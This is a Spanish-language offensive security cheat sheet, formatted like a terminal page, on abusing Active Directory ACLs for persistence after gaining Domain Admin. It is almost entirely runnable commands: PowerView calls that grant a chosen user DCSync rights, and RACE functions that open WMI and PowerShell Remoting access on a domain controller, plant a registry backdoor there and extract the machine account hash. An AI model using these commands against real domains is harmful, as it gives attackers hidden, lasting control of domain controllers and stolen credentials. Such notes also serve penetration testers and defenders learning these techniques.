[w0lff4ng@site]: ~/cheat-sheets$ ./info
File: /home/w0lff4ng/cheat-sheets/explotacion-acls
Access: (0644/-rw-r--r--) Uid: (1000/w0lff4ng) Gid: (100/users)
Modify: 2026-10-22
[w0lff4ng@site]: ~/cheat-sheets$ cd explotacion-acls/█

Explotación de ACLs

techniqueprivescwindows← índice
Advertencia

Para DCSync, el ObjectAceType debe ser DS-Replication-Get-Changes-In-Filtered-Set, DS-Replication-Get-Changes y DS-Replication-Get-Changes-All.

Advertencia

RACE puede lanzar un error de I/O que se ignora; además es inestable desde los parches de agosto de 2020.

DCSync

Como DA, agregar permisos de DCSync al usuario deseado con PowerView:

Add-DomainObjectAcl -TargetIdentity 'DC=<CHILD_DOMAIN>,DC=<PARENT_DOMAIN>,DC=local' -PrincipalIdentity <USERNAME> -Rights DCSync -PrincipalDomain <DOMAIN> -TargetDomain <DOMAIN> -Verbose

Validar la configuración de los permisos:

Get-DomainObjectAcl -SearchBase "DC=<CHILD_DOMAIN>,DC=<PARENT_DOMAIN>,DC=local" -SearchScope Base -ResolveGUIDs | ?{($_.ObjectAceType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')} | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_} | ?{$_.IdentityName -match "<USERNAME>"}

RACE

Importar RACE:

. .\RACE.ps1

Modificar los Security Descriptors para acceder por WMI:

Set-RemoteWMI -SamAccountName <USERNAME> -ComputerName <DC_MACHINE_NAME> -namespace 'root\cimv2' -Verbose

Modificar los Security Descriptors para acceder por PowerShell Remoting:

Set-RemotePSRemoting -SamAccountName <USERNAME> -ComputerName <DC_MACHINE_NAME> -Verbose

Validar el acceso por WMI:

gwmi -class win32_operatingsystem -ComputerName <DC_MACHINE_NAME>

Validar el acceso por PowerShell Remoting:

Invoke-Command -ScriptBlock{$env:username} -ComputerName <DC_MACHINE_NAME>.<DOMAIN>

Agregar un backdoor en el registro del DC para obtener su hash sin usar el DA:

Add-RemoteRegBackdoor -ComputerName <DC_MACHINE_NAME>.<DOMAIN> -Trustee <USERNAME> -Verbose

Obtener el hash de la cuenta de máquina con el usuario seleccionado:

Get-RemoteMachineAccountHash -ComputerName <DC_MACHINE_NAME> -Verbose